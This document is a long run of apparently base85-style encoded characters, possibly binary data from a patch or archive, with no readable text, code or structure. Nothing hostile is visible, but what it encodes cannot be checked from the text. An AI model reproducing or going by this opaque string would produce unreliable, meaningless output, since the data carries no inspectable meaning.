zynU7JDwM!9)OXPSO+6G#I~gmCwsYzAIk*IO?`)W(vD)%P8P6x_u~$2^wLLg87vF=? zbS;8GVQrZB3z2|ahD<9`<_zPoMB>r_9x*(xtwaA`+67{o13;)3L!yG8QmsC1Z@e#8 z-b zKAxBz$-6YmlDqaTH`7nO+*NGm*|azEl=8lqP(d~n6`vhe-;x@p+pT!jM7 zst>^ftZ>KoHXnZSZTC{mt4hpgp(h73gxHGY)1%=G8Mfv zsGN;E6yH6|@by(pn)HMtJ^8n+`PWH3hU%Q*ZA~$gJTV7JKEtj{ef*a7DDkt$8NRN1 zgllNMMEMEAE(qmMIde!RbJRSxx@u`{fz&onc3dL({Vj%$b=Uv1n06sPci zm;6F{-!CBtjRH8UUM)moB84!5tI+x47(DUOXhTE^S^wPegz z8`z)o;Gy8@DfN^M0W_e+pZs`dLlk!8ee7!Nl&oSgs6wyxAV7G|XFF%$q)CN>HZS*V zYm7(V_v~>LhHHLd?@>xkt;-qjiqpe%=<>J*=BQ$NokhKh1rsYLr+>xSYo(?9ij8?c&h<}kmU`NV?d^&P$Y#A$1e>%X50%x0ZbSXfxvzF+=*eOGpLhF(WYYw0Q`y29dD;?AI( zQyqVoLK+Rg;0OHtZ&lQqu2+k|%4k(Jn)KUW%+u1>?>OMc+yMuYtPM7$33{iAWI{?y zo6m7J>W_~Or_k_FbBdP|=lHQYG-|37R^p(8hRL+0jZWVTnSXf-@JHDK-T%QoKYanW zZ>p3n{agHbP~9Jj42vfho=5R*rmO|to6)v#AE!%n=Yt3j{UhxW_-Id>zu=``90`}b zBeK`EHwSe=@v})ODP`)rxq~F_gpRs{#AhkrvXslLY^@geG8+Rw-L-+Qp7uER_xCSA z$QuPxw`NCU=0D^`-R&|KzzI|(JS1y4HVo_L<4+JubRB| zMQutqk~{~$Hv*^O-Vm8l$d}v2n0djx2rra!%WYRQqltR;ih@&*jFe{j+;uH5Gza5_3DduHde?{{dks zD=(*Xoo;4MU92cdNNAua9qTt!oi_|64vU98%3%*Kg3q4>-TP?<3L`9pKM=IiVmET z7}H4{Wg)Xve0k0FfX~b-R4wdQrV1LVfzNz^%LBxS#$rtLy74SJx-#a~ImXMbM>Nv6 zea!q+CHfSr{ZnWRjHRpsY#|7UDGYYDe5$2f!0juL3gQ$zEy)7a63*mQK?OZp@ec-s zjEh_4FnqS9c=!qJOA80x#0tU^ zMFxV6O`E)`oLIEP(z4o0FQ{cml#f41RB`We))5F1C4TwzBHB3n*LbL4x@!#@)OJp5 zW5SNQ&7Hpsy2rZEOB>h|3a0m*MF75h5=~UlN4>GJnNd?85Pht^N{~ROgU{*wY>}nE zf8b!D>t&C*b7Zuyr-- z(E4!vr@fOh@!*Y$^h8U)=75u+GmpP{o3=ytcA`te>IU*P{Ki+0^YFu&psx{Q4ES z1UdDgwS5zH=u&0hWd1p+?jgVK+ZIwOICeHg()uk2X~drdB>hO30{3 zghUf&_>jBR?Z# znir%gZE3NihL+ zbd|M{cmy7*xE*GU)9MV(Dj`8qT54B018LX7OwemEIV8Q&FkGz|^_vDa-yfHFZxUGy z&Nu3rIoB7Z!|lvmqm=9V3n~cj#FPxGQ^qob!J7%_Y@0giFxIrJ^ufY{+Ya5_Gw6CJ znxdl=SXnsaL`9RE<`~u0C%%14zM9!0snd-<>k!{WD1(;)B0+*0M?_7nvor5oQc_-7 zX7t<+ruiztx9^vi)}f{5rY_&XD`erT`F*%Wir)uT*vqHa2O=OYE|oZ8Vj!tKvbN@7 z=v!Uvu$}}bXzQ?H96c-1Z|>>sofe?7&`_VK^*MTk9I!U3vvD->_^Rs{a9bC7IeR8g z@vMuqzSoz?fSduo!g1#kKOs@waf^@2*nYOLlhNd-a}P2Q8j!#@#1J@_$4{QlN_n3>eXl;Cz1&Qx})3%EPu!=N=-`Q zu|tnR&e}H#Ygq7wd3+tUU>cd5{xrWUsfHi?=)%(88cdX6$+Kd`|Nwf=;|$iE(T@dT*4A_1desnob~Qb}|?4`tJABI3aj?S5U7S^*|ZG>!89zXJ((2(XnPL zL4n!N7-uw-j5e?(gX@nBDN34{2%wTX9~_Khlg9oUtLajuS7XKqaNzFl-K6(^ba5vr zCMNwyX??)`ix5k@_l7n;s4!Qne1+_Mda!N8;gQ?0qCr>3Yc8pFlOLmD#jz2$*!Szk z<`&3osV?+AQwJLBmew!+oMh9F^G*-X-TU3W{-9BSjJvuIiEH7xvM&7S+zaeF@fsGq zvAaS2G(WoY6+vHnmXQryL`fCGtIfhGd4)btY~tcW+*Jj{#UBM_X&>i7CYJ*vPm)a@ z9)6;oOuW8h)5eYgRvGCQ42=)V+bf`KsD5!KEE$@Z0PRd~Rq!97c-I^sO@Qy7C9_Np zF7!ahJRF%*e?vl+nvqw3f0W$}Kf5$vxxkQ^Hq-Fq_&7tr)$FN{V6eU1Q`FNbzA*(E zXR4^Eqi?zX2vxW$%7r($D`6!=7n|^%XigtNX9TeleLRq61KUtSzq1uMu0oF>{TW zhvvnB!gyvJ3tl0}y?A&d8`OP$MeJi1-9O@VpcaWGbB3OtLCSTq-a38eD6#KTU&X%; zY!m)IU}~+SgPUAvwEieFBmGD>dZ)zgQ_CIvzO1U8u$=*UT9|$0XK9+S4oV#=!T|p} zuCC)3PIP#tUgincbBx5qn?tHmtE&=T5Wd@KV(N0Qd0vt?esY@P1-Yc4!EZ-BRkdQl zwgUR_EE_$TtY{*3l}IQG+o)0NRn!A*m3)6b416YHaSawkmZg!eQ;`jcS46+Q5VZ^~ZyFdb!$cm2h^9+yRMaB&R5;I2^B@Z?;zME1$cGP1;+ z6^6Pf3?IR`7Jq$_%;yPa&WMQzu1RA8QAIss-vt619|ZUpH^&1kCrMPs#$(@$Z6cI3;=2$jmI09~Hkj`dMoKr18qm0&0xen5m%r*tudW2dT3^_}jcjZRA*GPu`Q4%faS?9$Du&p|?2TkH#pIX2I&hkXRjM>792}-o29*FaPKy!yU>fvINx8w9liZ;fgg_uOq;`dJG0o}_0eH3f0HkgcGAjHsEn@G(YBht9k! z58GBsocc-OF88XjI_*Ax>%#NoT->O@ClBv^mBClnD01Do?07$Wwo)pXp-68$7yl9E zanQX(7x$-_L3D|)`v(Sbqr~p?1!5a!6jON5aawmK3TIeN8 z56_MZbK}i4)X=wQVV`^Pg>_`-ry#?Xx4YHA4$kZ@=4%9sihC%R2B$yWmR9NRHaAZv zz2yR#AcHa0*ux{zef}m;x!^WYR(D2_kNdoW0TFQE zlF(Iv11AR@IMZo-WXElf<IH*}YjCrFf6i}BRPcP6I@(rE^1&*gw*G{}%=mmVc;+h+y>P01{Zl#q$A4?;UdfB%~<2)eaUn zy2e-@3k9-9{q!^80$N=d%sGS3w1NjUXK|IiL+ym`r7mpcGUzp!RJ^>}J1NUG3@HGA z4o{Crv3lBnYIZX?K|jWwl1-SIg2^oJdp<&eAd^-Fj;`FM()`JN+@tOh#@H9xO;q}V z`qEvN9kQ|UKCiJVsfbJBTT)7wYicnRu%$jzXA<;7SNmx8`U+oa(q(Y^Q@lWcuZw$i zW&!;gqkf6J{Z^eRY@&xSyf&@NixZH|I*VzOzCv0P{0_kQ{iCZ1axDmn(!b^Eme>sX zIpkqQfc!ygx$A`ub=K;e^GpW`ut2xP)qZy#@TI(h@6DR2Ue`Mt_8rF%UqSB_>jv`* zo^vl=B+BJUf}o_3L}~_fxGbn;q(pNC7XI7*M*o<@^oh5@4D- z3Va=SS87EZocUqL`Gi05$R^q+^Ou$a7hM8378Y22@@ z;zX_@m`3Me;u?}9Y!wHQ(F(C3M?qH|1T5eGoY<`kqUn5DbfjaGeld;(uLirMJ$xu$ zFmZQw2Z6Z}_HOzN6e>W&fqy@3p@sSI)GFlyJ;LAn0Om4Q6!R z%V>N%r7hl~K`0z^u0=Heyk7BV)YC=sG&Ji2@r2xid<^Nxv{k~j?@Di-e9V8+Ql)|Taso-p9N8V}e(5~#1Y~Ml_jS>ttC+jbw7eHVtt+&5F zHOns7cKEEars|hPMnnKgaA;Rsq=GzvRJATgv>{kKOMjXK8qTI=zUB5TA8rX```8sV zojeFR-pyoG@!cIBmM+mPD&ce6+`64sfbtWgMMUV7DkaMAk7PFbTv>O0OG-1NGB}+< z=p+mz9VBk-?0g=sR0z%801_l=*KF?_GZ>fR?)!WW^i+R;@;RR?GwtL}5P+S9S}H__ zR#rhvFXcx^W`4i5e|)Ww{K{4)Op#7MCV9h)CGMs1Hd=`YjVu3c~Mqu6E8RN+bsqKzYmz*xibL+ zO0{dnlIYO`2nXj~j|LZ0`y*d{p7yPNQW6pp@Gy^e>nlD0hV?DofYPA0LcYSo$u2sQ zg_Tzx$VhT>MFFa0P0r2&irv}iodaS9r*VmQ7pA(SFW;ny6~lqUZO#p@QO zJJt1Xz9-Ow4YRuz#eG@g#*?8@U75o~Gr?7&E-Cas$c?@w?Ke6R;ef+7F?bErOV2M3iyzEL_c@w)H7T^|AifcDFZ4k8j~- z=l?DTB46p@1O}FzyI{xoYLOdrMfsVy60;m`GgMMR1LgjG0n+Ja6u6tFj!xH919Wy3 z!br%ZXJO~(-*RoYxv9Kv;9#Hp{rfFuAV^H$2AR2{0!_EkEiS3f^Jg;5SF@-{OForH zfs#DCv?jpt&tU#O9He6~9bmGA1WAoLughE7=3@{|V`4l}B z@u?fAk0(FI-7KVA!@pn5 z6P1h(3+DfTr${LrDX@KNFds1tbAhTF{WU$0i%UzLS2pDU0H5Syf6G8jOB{t0B?k6= zOiqK9U^#;~L$+P4ldWM3H+oa=Hy@ZdzncxXq)28c!hd@bfQ%=nS03Cp%beY&%I(HV zn~0J1WQk18b|k+#tdNR+N_J%KY7V0BYpzjyhvjtn)Qzl)=J4tW09#dD|Ri8|U-6lV;V8GQbjxlUF=`{>4rlWLp>jnFpGW~er z@LlQ4Sw?uh*0H!WS(yMobZL3x05I}AV>md4*G%VB_P$yW0toxt({jh?heP8^dI6`$ zZq_NVf|V6DfI=Qj9g%|OIwm}13fOs4iCzORB~?}cm~$B8vJ~l!;Fu(5?|qSH=)@$f z;50AYt`0{VPR{*P^tiXbHRPrT`;`h*p{WHMT7V-b7sl!tbd}q_%V7ool&9vJe+kZ> zZFM3|NYFR~5Amnj?pFE++mPA2?Uy^NdqDoi7=?|>X-J~vB0Ex3agjs|ijQv>hbJ0m zhN_j-NVt}o!OFNKC+6z)zIM;T@gu-81*7#JUmSH|MxHbgW^e`uMiqLs#}5Pks7X>x zM~fDyO3eNg3iF7BxFjprReGk@cLI%Lh&>7-8?MSLoT=LBNct|PcY@<^I?4!0e-dSy zt*&If_(i-NzC)6tzRB-83McGgMkZ7-Rx?Q>TKqgnO+4t4rq+P57ABC#@ZOny@_)Wz z`pJPi&iOc<@0rwj#Ik}7k|9DEPWftc=OW!CR zL^ag;+KX?~*HV@`0P{T!ye*eN)W;1Ayruo@I1*}Vps~BYsVsiazyQj^!y^Y$%&?_v zHAa^sx92K9%r4T9h!+FnSyt?0{G!NdMLSl{)?$+N&j*cL&r>;5H&xeeFaL&wraj6zD<4P zk~&2teh%c%X`>?neo>&UPOZM{bls*4jls1o*dc=ymT4UCpo^lWq_~qDy}Yv@uGd-q z+9NHZyl(F-vA|9z*I2E_RS$f=>lqUg<*bWh&DQB?i?_qjFlb&{8?N_8g~I734G&t( zIV~0^*qZcQzvLrZg)YhQr6T@U52E=dM!=l2Yp8d%xa4nPGbRYl@Oy>YsnfDbg;7j3 z&0St;lKcd|h0r_D>{uOK?r2epsBO($@ z!0!CqUdwlont{dzt)TO%mWRJHrw>+U6A^H6{0BmA-+b_*K=odcF)}W_u?;A;>N%}@ z-IJ@{d0}Fd>>OjmGnxvtsm3-w$yeSN8$gRvQ)SeJv{sSS)cP$EXq3+W$P^R>l@~-5 z7|v29J4eO_F@=xImxNUb2p^mUT{_%05$Kv<8R)KVoyp9Qk}vI#ll&|(yA2{rf|YCq`LZ3i}5n9jgMqau&^!;MMdrz$r= zgR3NXy-W>Qa=WV@ZJs%BvjWx1P7wx8UCYbt@!=ia>)XC^U!a6F*Pw%MaYD~5*wI2x z1v$>ZSj@~;|NE^0Fl1stk{V2FY>!Hz(uMd07(V}<)*?s>Um&z^hE9U3I3?+1MDbHgfj2k1+r-s*;@xd+!3o$1)h`?WdjHL~q_; zRMu2GY#u&Thn1U-NVhILg@xEVUUfbuWHJCYucPG+xpL0~|BUoLjgUG&lfc(7yR1Tb zkcSr`jJv*juND+Pit%@znpVl{*E>d#v}Ln%aRE&wIQPA7J!gMT5%4?>xIi$D@T@%P zHFv&T)SzJIWD&2^U7eVGz~=1y11Ah%?)c)34{)87Cn2A>quW-B+H}FS`ZP-8WZQuf zOnG|ZP|G|8BYOu+>{xwY6#*Q#T;uk}TOk(M++;0t&w0sYi2-l}p*+j<( z35c_jQxQkm=#ARJ(mOkOA-q7gV*nA@3lzy(FW+xrJ&W1OgbgpR z1NH>WKHA~x{0;FY8?Z&5h6RFk&0ti8=>zeI_H1n6%lE8B0N0tlOzK;dPnto~1@?h6 znvD%!EeCJQNH1!S80jcGF!QXrB&29?bzl{s;K@ZDjhT%AM}1^`_??Eu>pI;uh3Irz z;;^Tv55Fa+WvkMUPAfO+(}%b2_Yzk)qXA0gb_u<}oaB1XHe7*ud(k-tuvy)F-+p3DGWpPZ~ z>SPVJ!(kT1ivL+j7J;lo_;?``8HxvRVtzb175P=iRIT?$$ZsR@d(-({4ZBoIgMRFo zAIx$$_YLM9$;=Zw&$dQNxjoPHN@jRFde860Dt^yks*DeG)eWi3ag^8f3c)>T?|6LP z3Kke4ApJ}VPUo8!-y4zG2Yqp;{dZyweTrh;-qf^DAt;z@*oEmQK3e(sX_uv%YUujB zNOh4!&#^I5V0^pM^YYyNdr79b@hRrvAHI&z^_Bsdx?iSGBF~ipg`!C4!QvVaEI{fNYgB}n<#-(unSD@si^_X5e#9^wK61n zlqCDULY4*xbK&FyC_n8>O2_EOLnC9MMnu%OEIzry&lTlZ4^Lc&M`kM32sc^BVTTvK zF0Pe!QBpG0iy(E~yDJ1N0!8Mx%y{4=q2Z~ycXW8|yC?S727;}b&%uiYC=xebbVP$Y+o3mj^qfBu@Ti&yS*PIjV)Hcbh5F=c(f(fut&`mpd($9NM*a z;S=~t*m(GHDp@i3Qez_8Xp^|mu23-(x^SSevmLp<0x$^a5qS=AaXpu4j)^`_;5(uw zr%IK_L4N==^wTR~V0@P4?HNk*1M+_K(o@V3sT>^3!f=3h8RIC)BaD+DwbXBFG7w}I zS0$-Z1{bO~cbT%jO6JUKJ!;sj%mT)h6!oV;P8Yj zka!D{BfF&Xa8eMj3&9tHCWA6dqEYs+zyR=7pus@;_b%0+6WlP>(tu2d(DQS2??+yt zfo&dXGL+;r1Q9qfB z`5@)T=(y5Pa7b9hT;1^)Eaw^NI!%0Jb_Up~G)Wa_eig3=YuXOF>IQxyrh^$U*iAO{ z!=tAW62b)~0?E=Z!^Ek?D95c`=eKx2#*5m2qQ zwUeuNB+8*5Z`{aLT*fJ1EJwRA2f_LZJA@TXa_Aa;E*`_#ybH;4{yWP}DQy~yT zSN$9HsfDVgtls1E8GL&Ay?w^&`ri#{8&^C8wEI;r;DfGu2@~c#zDEMIt9Drk+QKa5 zLcGVPt)yGtsn^E=r@q4FBz+)%3D)E?-A6?=cI$%55HopX$lEd*nh zzc|GJob_OEcc*Q#{of|MO;zjhg3IrlbkbI`o{M%byK1}xWjK)fsU@`uOWauF*hokI zf*VQxCKTVfXq8m)b-yE1KJI95sP-?BneCzpEZ7m}MU`LEwcu9OdXfHXibFxHX`!-u zemgy%AvY}g`t6pZJl@YseQ6!!stOdU%^h(k8N7QLrew|O5(t?6$=o6xH5k$dd z93mIT9PFfrJ;cELDg|3l0&xy^$Nsklp*V}s&FABv%D%i!kjI5!;iyZ%mT>{+a@eme zRIZmy%)HJ~tLJu2u7@XQ1F##x(wz$oo4nQ>otK*0DIIP$o#v%%{GMSh4YBr(m!eH4 z)AJ_34jzNoT+8Z}tbBGIW(GZ=Qw!H65$a=#xv`Mf^9(tO-3 zg}j2@+%4U{k=yTZmDlx)Dd@n~-M!8(kcp>+bq+cn{~xa2I z_Uw+sV!cs6MX4C@bEPxZ__r=G{6iav87j zfw;IW5d7*?J5|{gcNPo0nOY2J#P*u7TK8Sp6uhBuiR~^7L7h1eG^ysTxzEu{$XJ)! z+5SJ>qZbWsqrYXrO@%L-%Q7dA>(VA3^S49wY~q^V>b;J z&{E>$Go$iYtV>2he^|U6K?=BD_}N&R>aR@gt0TT;3y~_VXtlHrlFaNlnIRmJ|8mz@ zJTfvZ=cI#kw;%BQ>PQmO12kP12myaZfxT4&0Tg)_m@{2Ba2|) zxrm85CPZo_<$@K}qhW2XO#xXSx`n+MrxDh_w4X?S_8bzll1;BPwG>X_&HM5a+2G)? z?Q#e0qa10l+$7Eaf6t>*Zp~6Zv|*l!@#6_mg!2iEgCg;WrwS>{x~joNhLfTrZQdKU zHs5q=eA-SW7?7eqU-%LdU*Y$v6M-7B3^bdv&-CS-@E8kM;^on3ik*C_HF&Wy0%~dc zg*Io}@1kCgYA(#NJWv=a?WPRUTt8pSBla*;_f106qX5!|*`-;1N1H3#Kw zt({n@tKv1&e_g~8n%6d~iWx>?n0AgMX@D*s_x-L$xPD`eS*Bd@@*ll#Kl#68SzZl3 zf=dp#BCxxEUA%XPEObvv;77AQYO4L}%P-3-B>ud-QiYzf6g@IEbzud}ThmW~U9xx6 z{WRYx!k6*T0zLkqZyL6exft(kn4&WkD|lGMPIlF&mSnM1uws%W_>2V;mbm+Gk(jv4 z!=y97FljNG_c`_9Jp!anUATFN_q*u_E+1(=fwEYU8;uMOrR{X(YdPr_97DM&sk3U5 zw@ZjBQ};*OF;g4yNd#TLr45%c`NrhbPG2?J-27(swK6ih>df|OquBJ3rNqqy2OxT% zhGeJ7bTTzK0QR>u$ZxDSO#St7=?vQFF}&{l13`oPQFY*xRp3O350h@u2{N7i>%vDz zeurEkcX{nS?dO)v&qcK2;wPC@?7KcTIvw{{2ZJTn2R)f#3^`gL#qCq9@U^{ibh zjS*j`*d+Giv+A$d$)X+Dy#>b@Atnq@D)+p&+DY3Qd4y=h&7Dvc1Gd8}>fgD3vuWok z;$jqEw85K!5k~16W?V@W;z=d`E4samI=b&E+Y1ev`UY0~OItqX7X3~11&%APnH`Vc z%BxcRX<=>nYGSeuUbjeoC-DA7MmzU6P2PoynJwodPTDn4s@mIkby)^GO~Vr*ikUrO zrKj3;P^w+1$_JHpmOKX#J;YvkhN)e6CuT`M6Ng`1nO?9Db%UF`dZQiSjPgv@?bhx4m3l~PLa*qZap1(f(j6L3i9Mq(0$-5I}>8K9FXsbCX+Hz~lA z)IgDo_|uAOSwHj>{nyp$(BXxpjSlyfNEU#DfdONe9dK?%A=`*(h!nlHG^G`6ay$vI zG3+{i56&EUxVcg039&@~RPSZxWEWyU%c7e1KP=jgx9b*dLy%m53_QlwonXS)J_w`! z(F=^Zw!NN39i99gvWUb07BC^Q^O2(u+W$OsMjC7>>zghL+jP$f{y1FvQFAXi1n>9z zYVi@mXJ)1d#qznxvpSeh$=15}EZcbId~2H#3+e8q<*ewyLQY7G&hRfvfPi^UF-krT%`$1t@C}n*D}JfU}e}!FW9O3>C*|bpW=_V1W9U$ zZ6R&t^D{>}WU!oIg0V%>z&I=?I3(lYnYigb9p1S&ic3M)+}?33^KtgV$#_`nZ93?| z58kYu4)@!v+e#2@!Fl^KG%B23H7e<}T|~$Me{A18PxS^{tBF#Zt9PS_S?5?MUZc-(qREB z5gF|0gFgy791Pobt8CT-XzCCUb+uBAqcsXS2)6G)cFLYj?j-M@e?WjB+<>i3=aRdg$ziYX!OsSeOdi5Hn+g(&O^c^EH5 z6tJ9~c2>KkLOoLY&sHd#xsDgF&U2fMy-o0kPoH0tW~?CNCdkq?OV%pR%xpSl2AZfH z@x*3UYAo=dsx{m}d<+Z^$icx-%(uoX=OV%qlIuL3jwzXYgd|B&gl3-m?9fH5*zhTg zFmkFNh?so@mGz+EdVnsBnUh~gCoKrnkjOU!IGxtvu+_}eHBvXvDlhR;cp~=ID--## zYJV_+mAefBj~X*k$SM#qQeRLCl6+JnZJN4R;%5t7Pz^9#@S%n6P5Ga;f%AF9!P4PC zqF*^Lz~)mm#h>l%;F_eLIOC9egH4}EiH*H#+h#n`>rdPyhKk$HwKrnO0jal%DL>si z^how?EJjD^u-7K&E_L9==`XEe_4>g)#iwuU{&=<&WRE-@k~1su1YW-kOwWz*NWxN` z!r=tz4R7~bxmr)q%5a)rP(aU6&f&kV`8NIhiRbG+)u8hR{xF)pq z?>TTu2^(BHiZFYBlhj$@Hzism>}^D8M{` z+*|y&e2>~ZOyX?ldgfcUl#0CJ>j5~OtL7$>Q+akvChh$XrBd8#|HrX{RbJ(iFd-(F z#;=VCf#q0uZ5|2FD>CJMH;N=4SlI(ZD4d+E(Ape2k7AV0gG;~mVb?+P%CS3my)Pv5+IjC_L zSAw8di*G_wt)GvkzD?ZhA%Wjx(`S=@;pS4i0g6y+AAC^N__oc0CV$|l!^Ha>;JYD=YH2`IJNoaki!9L!=jU2??oT44wq}r%Uk&DdE9GRJ+IW} ztMi9eaLdDbM`pDGYgkHEV+IEDa7koLQRxe%i^M- z&fqYYoZ5690;Akvc0aSyV3d0=T&onHVPtj(wm=iC6%$hZM^~4=j8k z%HDdXIUPWJk)FU6oVKLNmQsJ3u6Af@`sNAOC?@rbbR4xFx`W$_?nkHn7=+DNC`uuu zz@uhii`8(tJM5aVR=)>+gKOdaTikYMqAVQoT2|-yk@$QXGn^c$O8cA#Wc*PZRPEH5 zK~_tOO>rPzKjVV%&qH9bBGseYCbUxf$Ng2ctX}c?MrLuExWD)yZS1<&HW#iWq%VV& zN+m-F=Z!rt;KR1r;JHwv0*wR370nY`J8l`&#N-(HTz$&ydIYjCw6_ecmLyzheWn6KeQn?}d<8iEAvMCjJ`>*?{ZF9noQy%P?EcIU6 z?-H!5(`*>0?Zzu%AF5H7nO(YB+QZj>;l0c4V#t!~)EQbS+OTSO3C{y-#;z_ZjGE>m zIDZG@qfUsy)*;q^Dfr)J^eY<23|8asYCU`5KzrKQ-C^A2k6cy%xqrj{ z+UM#)Jo|gAamNT-SX@``p1N8~l?i7w7f3If+6rQ8xfXB8FSq6;KFUE)6gq_`dM}aV z+p7OFqav{JnQI9>x39o&IY}Y>b1T+NG3|GzW5aSDd#G0s5Bq1^H*DXQ-lw_yhIe$1 z2U?@T`w|Y!_E+)lQhp$Q{L{P8v?6EmGi5#4oq3#ix^L)C>%EM0x~OlsNUROFa$M)+ zyj3qP$0LEljE@!Ozk}Sw4cGYER#D1qF7X}vy2&QfMcczWV*R?XOg8pR?{_5Pq{XgX zYZKPKa)D(qE_<^rw<=MTj_Vj0SRwQHqSb70=DN+Krcs$Ywz7#^ZiuvXnZGlfX;MrQ z9fq}$KOZ3|WrwzYdfgYCEBhvf+(KPzqC4&-s+d;^?VC4d{=pO&v9smu7{32VnLFIKuX{ z@{MDHpO8KSn!WomvE#}RO^Z{>CxKklFWGc8WpBICrhf6YZc(ZZ_ZdG-rsWB*A$?bi z8(i?^4h)lk$tx1AYFw%9f_E44qZTi}Q`UEe);wwQMIvk74xKEuFZxcE^iSbM&A9S% zs^q5cOZWEA?-Q9HsUl`&a16-o>RTw_I2DQ@jU;TSi--)-ys-TDfM$_3>#U!uB17+f z=|A^zph_tK`|}_kZ*U=eyt99CG83m->A+GvxIiS!MnBXQe^|&RvZjU=Yn|>Kp**@X zdqe~IYPP_2RhZZ-BNpl~vizw^1ApT>7k8C)urx3*DIRnDk63yjdv0GeRlq^;T@1KL z>MLo1wsAt%`7DMBlO5l2eOn#(SXF(fqT0i0dq0!FK|GS8G2dnUSk#sH9Gi4Ub`^#_ z;QXC&GO(CyZOVv6-+r2rU8;Q{oAzSCrliXD=Qq{=opQX!q9{-O#tcOmQWuYnF=_ma zanSPREP2=#yhI#f)uQ#jwALWU0Ky32%wZZsw+yAa^VgnY`X$uJR250@7y_kzkpUU2 zyKA2x$oeH(j1y9=lZ|8wa9sNPqex1F`1;qChtmIhmWb?EzD%r0=I~bYN520kMPqsF z<8x?Ef|IF<_M9#CE8^Qf9~5`snzY6cO7&QidsJhXrPNuhk5dhuerp_-pya}LnpZ|* zY+li#4R^n$pMVM?x3AF+6o8l0~E_sWj_qKVF#j)w$4fWobS{5{A< zCm_z0we&4#+t}-e7oQ7RIkBC>%!5(fDLJ;f4wbkIleqZgzBRzn1)nr57tQ$Rssto) zr2iwV%`!QOTykj>P^e}_GdRk?;oXS_G~&O@n-Qj`rqqcj5OYQYnGa}V732;!J1@sL z&X2AuDe$K83rwwZ9dOgEjrScD<93UHMzE{Jt!}gw8HNTq#1Tw>jnavN=(nKRw9nls=qX{$GYk5r|Hzf&w)K?)8T0k_flF1UWYO_o>Jplo^be}c?+6R_goEj6>(t+ z>fWdQ2JARX3d54PRhNNrA6iAfv6HF(prj?L$+It8S&TOWQZx@5% zL{rgTL?&*x?X&6^C4bE|Rh)PofY`>u z(4gsr&z~GYJ+HjL+EjkzootoHu)v;pvL~;FmhE`GJ)v|woT6@JAxBs>&!KS9HsSUa z1v1hhGkcI_e*Hn;WNiIHK3O%dk|REs+ryDNcHs3X5oj&3QbyhqL7oyzf77z;;U~!YQ&E+N<1Y z3wlk6s!XI&2mqRRBdzT@C@SWBQ|pM=MA6=1nsR!1lE{1BS2kpL%UuRjE_ruuVSOglMWOwS6uuH09a& zYL2q+st~tIu3T!Ru*QOLCA?<#<9q6QmohiHQ~3-)aZ#N;uUS918Dd&S7!(zIx_~)? zT|M;6$8OVQCIm`ZL&g_L?t62U1gXO~kORls=@J7Br7UT)nFcp3^A{OyUeaNa=I}jLQioVj`UF=oVB+Mwr{vcnUA2T0S)3& zn#@1g3bjUSou1L*PREX~VV0FUIn+w#l$?BqDVYp_wp%(}8|=Nx6^Du(KU&ssfky+_ za4rFOQIJQP*CMhMaB+oVX{!Zsh2)Pv)q20Hf=ODcRi9O@(eJOM9W)w@@lw6`zFzX* zhF!i!7R8-JN81nTx>0#$vP=(7V3a@B9p>5lVDJipT95nNk`R6qTi* ztUd7Q-mCVi?X!p|1XAxx@=HEYwJ-sLghWnTn^33TB}+D0Gj6b3uN&T1kck;pQE{iu zwA_#-zMn!G1I)lCIIBK#5i5NnwAH%Jno+UZvdDfrbCxTSZ0dj;CWb^#3V*s>`Qs145Rn!8*hRN7q|-7G?-bAJM2Cn&M^?dQlPQUxn^%P zWNT!V$8su9Vi>g8eNPfmG(@IrK6``DY8|-F@nt4cDwcUGFk;y;vO-6Pdi~bpL5J!vX@!mF;ECR`v6@48{n)%LM+&rbsKhU6eR^GZVECyGD2rSvqW!;pnqz#j&_^2?vB3 z&zx!O&D0VUPwAZ>gllmKqzniDuwqD*(e^lB*Y+HF`nIFn=y&|tn>Q!izvRA%uDK2x zGoeN4XR4;FCpb%FITtHyUgk-pUj)6K2u#NY4`ST)%`{p~9;n|(;R22tG zQ5*B$bH`Xzb*da4-+dTnGgp~xoUg|otS5__VrY*ThWD9m~3L(J0gH3L3U z+@NW2NOFNj{pY>Cy`Jmp?$H7b4gtPqIk}li8<{YCR+e=@U2hMz=u-pVV~M3lf@qW3(53+1bzigr4}e_K>~iE84LE+{OYP zF0xWy+LTlQ1<|3`WkqSPgJL!)yj;IBks$#Yl=8l`Vx%sJ5Alkn|D#nAf2GWwi%d9f zgD&UG#+oz#HoRj-VLELPS4Q#*Mj3+I(hQN{8SrIr!{CwNNq@;xDt7w|y?(i}T2Yi7 z82DVDDgM1wzHm2+O|A+xRyp)YqCGqgSF_quFa&$>y@W)XcO#3UQWU99#pdOr`X01boC%$Gbr7<2C zNuNoJAwCp0j2yJ_wd$j#4$Cp%{xrC&OJGv~H@*cd4M@(^>HNH4coQzig$Qzjku7cV zPa!aYLmd|vI^9%~C`f3hVXHNp5d-cUA8Nor0P}v+3~E+w`$z#*Lp-RW0X&$S?)KPj z4%}W(ZeQ38vzq2dZgC)nKcR+A@^|Zwx9UMb)rKLZ`tNoVko|;qHUQOtKK(yYmozZ8 z9x62psLm9lcYiTV$w++0QH#V$rBFX7cf@AEZ82m=kJ2Zr@(-JSOK>c4 z@t#Ag$+Yx~20D7A9xU+q!(bADOF-xB6#8Xf@@$C~S^2rmJSNGBy!O(sjFyloqE{Jn z7ojFBL@A>+JV{|vWvlN?3|-?&r%~iqm5*6*VBZz-|9n@nkbuUg%}aPnS`^n=Y$8Xc zBpej`d0CQ7S$@9i$tvDtX;Zi=bLI@#JfZro)5$kS<}Df0SQG3CexkX&qOou6x$myLENky%z>ryAVp+X@ zHz`!nE~K3FBhC#GJfjMid88EET4BTfx9&ZpqzonjB}pK~f3KuLm}rxp3jIRUm3t%? z)J#)zzWnZN`5hgiZAe2+uvY>d^evvuvMppw9dX1#HI2|TZG}dpTO%+W*|mQrZ7{Cz zT0jlFuyh&-y8pd~Okt7u(93laff%`5f}^L$(bvZ{kC&IK3U;f;x3epH0`hx8X4fe| z?eF^Nz0hb|QNId}ya>n>DjxWg_tYkp~*}qzwlJy`ER?Gx`h-T?H}m z;BlPgFcpDaf1m2~K8Hr1<`9(4gr0b|+H>q8tXw`lR(WoDm-2|u4&t2hN;iTeb<;jj z>z);tL-@NkT-<;d4I3%87RT30_4fJVA4SxNCjGveA+$U;r4yzd_|7#-Y`5{Y>#`=` zDV!ev&nOo^%Tp?|IUh#qq_qk>Po?;@NC0dp#r~Vt!sp%7Cr39zU%$Nm^0`b3a`{={ zo4j8tsa}6maSbizW8c>e#04YfE#^%6IY(Y=R?th+)yS!Mq&V6DIF0hbuVC<&%m!t+ z3|j5W)|pfx)UpJF%V=6)5{JD1Pcr2q8+netoh#L 